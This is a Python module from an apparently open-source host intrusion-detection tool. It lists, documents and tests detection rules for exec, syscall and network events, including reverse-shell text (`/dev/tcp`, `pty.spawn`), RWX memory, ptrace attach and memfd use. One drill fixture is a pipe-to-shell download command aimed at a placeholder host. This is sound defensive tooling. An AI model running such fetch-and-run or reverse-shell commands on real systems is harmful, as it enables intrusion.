# SPDX-License-Identifier: GPL-3.0-or-later """Operator-facing helpers for inspecting and testing detection rules.""" from __future__ import annotations import json from pathlib import Path from typing import Any from .alert import Alert from .config import Config from .events.exec_event import ExecEvent from .events.host_event import HostEvent from .events.host_rules import DEFAULT_HOST_RULES, HostRule, HostRuleEngine from .events.rules import DEFAULT_EXEC_RULES, ExecRule, ExecRuleEngine from .events.syscall_event import SyscallEvent from .events.syscall_rules import ( DEFAULT_SYSCALL_RULES, SyscallRule, SyscallRuleEngine, ) def list_rules(cfg: Config) -> list[dict[str, Any]]: """Return built-in and configured event rules as stable dictionaries.""" exec_builtin = {r.sid for r in DEFAULT_EXEC_RULES} syscall_builtin = {r.sid for r in DEFAULT_SYSCALL_RULES} host_builtin = {r.sid for r in DEFAULT_HOST_RULES} records = [ _exec_rule_record(r, "builtin" if r.sid in exec_builtin else "configured") for r in ExecRuleEngine.load(cfg.exec_rules_file).rules ] records.extend( _syscall_rule_record(r, "builtin" if r.sid in syscall_builtin else "configured") for r in SyscallRuleEngine().rules ) records.extend( _host_rule_record(r, "builtin" if r.sid in host_builtin else "configured") for r in HostRuleEngine().rules ) return sorted(records, key=lambda r: (int(r["sid"]), str(r["event"]))) def find_rule(cfg: Config, sid: int) -> dict[str, Any] | None: for record in list_rules(cfg): if record["sid"] == sid: return record return None def render_markdown(cfg: Config) -> str: """Render active event-rule metadata as operator documentation.""" lines = [ "# Enodia Sentinel Event Rule Reference", "", "Generated from the active exec/syscall/host-event rule defaults plus " "any configured `exec_rules_file` entries.", "", "Use `enodia-sentinel rules list/show/test` to inspect rules and validate " "event fixtures locally.", "", ] for rule in list_rules(cfg): doc = _RULE_DOCS.get(rule["sid"], {}) lines.extend([ f"## SID {rule['sid']}: {rule['msg']}", "", f"- Event: `{rule['event']}`", f"- Signature: `{rule['signature']}`", f"- Classtype: `{rule['classtype']}`", f"- Severity: `{rule['severity']}`", f"- Origin: `{rule['origin']}`", "", "Match fields:", ]) conditions = rule.get("conditions", {}) if conditions: for key, value in conditions.items(): lines.append(f"- `{key}`: {_format_condition(value)}") else: lines.append("- none") lines.extend([ "", "Expected false positives:", ]) for fp in doc.get("false_positives", _default_false_positives(rule)): lines.append(f"- {fp}") lines.extend([ "", f"Drill or fixture: {doc.get('drill', _default_drill(rule))}", "", ]) return "\n".join(lines).rstrip() + "\n" def load_event_json(path: str) -> dict[str, Any]: if path == "-": import sys return json.loads(sys.stdin.read()) return json.loads(Path(path).read_text()) def test_event(cfg: Config, event: dict[str, Any]) -> list[Alert]: kind = _event_kind(event) if kind == "exec": return list(ExecRuleEngine.load(cfg.exec_rules_file).match(_exec_event(event))) if kind == "syscall": return list(SyscallRuleEngine().match(_syscall_event(event))) if kind == "host": return list(HostRuleEngine().match(_host_event(event))) raise ValueError("event JSON must be an exec, syscall, or host event") def _exec_rule_record(rule: ExecRule, origin: str) -> dict[str, Any]: conditions: dict[str, Any] = {} if rule.path_prefixes: conditions["path_prefixes"] = list(rule.path_prefixes) if rule.exec_comm: conditions["exec_comm"] = sorted(rule.exec_comm) if rule.parent_comm: conditions["parent_comm"] = sorted(rule.parent_comm) if rule.argv_regex: conditions["argv_regex"] = rule.argv_regex if rule.parent_exclude: conditions["parent_exclude"] = sorted(rule.parent_exclude) return { "sid": rule.sid, "event": "exec", "origin": origin, "severity": str(rule.severity), "classtype": rule.classtype, "signature": f"exec_rule.{rule.classtype}", "msg": rule.msg, "conditions": conditions, } def _syscall_rule_record(rule: SyscallRule, origin: str) -> dict[str, Any]: return { "sid": rule.sid, "event": "syscall", "origin": origin, "severity": str(rule.severity), "classtype": rule.classtype, "signature": f"syscall_rule.{rule.classtype}", "msg": rule.msg, "conditions": { "syscalls": sorted(rule.syscalls), "predicate": "built-in predicate", }, } def _host_rule_record(rule: HostRule, origin: str) -> dict[str, Any]: conditions: dict[str, Any] = { "events": sorted(rule.events), } if rule.comm: conditions["comm"] = sorted(rule.comm) if rule.parent_comm: conditions["parent_comm"] = sorted(rule.parent_comm) if rule.peer_public is not None: conditions["peer_public"] = rule.peer_public if rule.peer_ports: conditions["peer_ports"] = sorted(rule.peer_ports) if rule.peer_port_exclude: conditions["peer_port_exclude"] = sorted(rule.peer_port_exclude) if rule.argv_regex: conditions["argv_regex"] = rule.argv_regex return { "sid": rule.sid, "event": ",".join(sorted(rule.events)), "origin": origin, "severity": str(rule.severity), "classtype": rule.classtype, "signature": f"host_rule.{rule.classtype}", "msg": rule.msg, "conditions": conditions, } _RULE_DOCS: dict[int, dict[str, Any]] = { 100001: { "false_positives": [ "Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`.", "One-shot administrative diagnostics copied into a writable directory.", ], "drill": "`sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled.", }, 100002: { "false_positives": [ "Security training labs or safe self-tests that intentionally include reverse-shell command text.", "Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv.", ], "drill": "`sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline.", }, 100003: { "false_positives": [ "Legitimate web applications invoking maintenance scripts through shell wrappers.", "Database or web service containers whose entrypoint intentionally spawns an interpreter.", ], "drill": "Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter.", }, 100004: { "false_positives": [ "Bootstrap scripts that intentionally pipe downloaded install content into a shell.", "Developer setup tooling run interactively during provisioning.", ], "drill": "Use `rules test` with argv like `curl http://example.invalid/x | sh`.", }, 100060: { "false_positives": [ "JIT runtimes or emulators that make pages writable and executable.", "Security tooling that deliberately tests W^X policy.", ], "drill": "Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`.", }, 100061: { "false_positives": [ "JIT runtimes, emulators, or language VMs that allocate RWX memory.", "Compatibility layers that request executable writable mappings.", ], "drill": "Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions.", }, 100062: { "false_positives": [ "Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files.", "Container or IPC frameworks using memfd as a transport primitive.", ], "drill": "Use `rules test` with syscall `memfd_create`; include `text` to document the captured name.", }, 100063: { "false_positives": [ "Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes.", "Developer sessions running `strace`, `gdb`, or similar tracing tools.", ], "drill": "Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`).", }, 100064: { "false_positives": [ "Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening.", "Security test harnesses validating seccomp policy.", ], "drill": "Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`).", }, 100065: { "false_positives": [ "Debuggers, profilers, memory scanners, and EDR tools inspecting another process.", "Backup or checkpoint tooling that reads process memory intentionally.", ], "drill": "Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`.", }, 100066: { "false_positives": [ "Databases, crypto agents, and credential stores locking sensitive memory.", "Realtime or performance-sensitive services using `mlock` intentionally.", ], "drill": "Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`.", }, 100067: { "false_positives": [ "Interactive admin scripts that intentionally connect to a non-standard public service.", "Developer tooling using interpreters for custom APIs on high ports.", ], "drill": "Use `rules test` with a `tcp_connect` event whose `comm` is an interpreter and whose public `peer_port` is not a common service port.", }, } def _format_condition(value: Any) -> str: if isinstance(value, list): return ", ".join(f"`{v}`" for v in value) or "`[]`" return f"`{value}`" def _default_false_positives(rule: dict[str, Any]) -> list[str]: if rule.get("origin") == "configured": return ["Operator supplied rule; document expected benign matches beside the TOML rule."] return ["No documented benign case yet; validate with `rules test` before tuning."] def _default_drill(rule: dict[str, Any]) -> str: if rule.get("origin") == "configured": return "Use `enodia-sentinel rules test ` with a fixture that should match the configured rule." return "Use `enodia-sentinel rules test ` with a representative fixture." def _event_kind(event: dict[str, Any]) -> str: explicit = str(event.get("event") or event.get("type") or "").lower() if explicit in {"exec", "execve"}: return "exec" if explicit in {"syscall", "sys"}: return "syscall" if explicit in { "tcp_connect", "bind", "listen", "accept", "file_write", "chmod", "chown", "setuid", "setgid", "capset", "module_load", }: return "host" if "filename" in event or "argv" in event or "parent_comm" in event: return "exec" if "syscall" in event or "args" in event: return "syscall" return "" def _exec_event(event: dict[str, Any]) -> ExecEvent: return ExecEvent( pid=_to_int(event.get("pid", 0)), ppid=_to_int(event.get("ppid", 0)), uid=_to_int(event.get("uid", 0)), parent_comm=str(event.get("parent_comm", "")), filename=str(event.get("filename", "")), argv=tuple(str(a) for a in event.get("argv", ())), ) def _syscall_event(event: dict[str, Any]) -> SyscallEvent: args = list(event.get("args", ())) args.extend([0] * (6 - len(args))) return SyscallEvent( pid=_to_int(event.get("pid", 0)), ppid=_to_int(event.get("ppid", 0)), uid=_to_int(event.get("uid", 0)), comm=str(event.get("comm", "")), syscall=str(event.get("syscall", "")), arg0=_to_int(event.get("arg0", args[0])), arg1=_to_int(event.get("arg1", args[1])), arg2=_to_int(event.get("arg2", args[2])), arg3=_to_int(event.get("arg3", args[3])), arg4=_to_int(event.get("arg4", args[4])), arg5=_to_int(event.get("arg5", args[5])), text=str(event.get("text", "")), ) def _host_event(event: dict[str, Any]) -> HostEvent: return HostEvent( event=str(event.get("event") or event.get("type") or ""), pid=_to_int(event.get("pid", 0)), ppid=_to_int(event.get("ppid", 0)), uid=_to_int(event.get("uid", 0)), comm=str(event.get("comm", "")), parent_comm=str(event.get("parent_comm", "")), path=str(event.get("path", "")), argv=tuple(str(a) for a in event.get("argv", ())), peer_ip=str(event.get("peer_ip", event.get("remote_ip", ""))), peer_port=_to_int(event.get("peer_port", event.get("remote_port", 0))), local_ip=str(event.get("local_ip", "")), local_port=_to_int(event.get("local_port", 0)), ) def _to_int(value: Any) -> int: if isinstance(value, str): return int(value, 0) return int(value)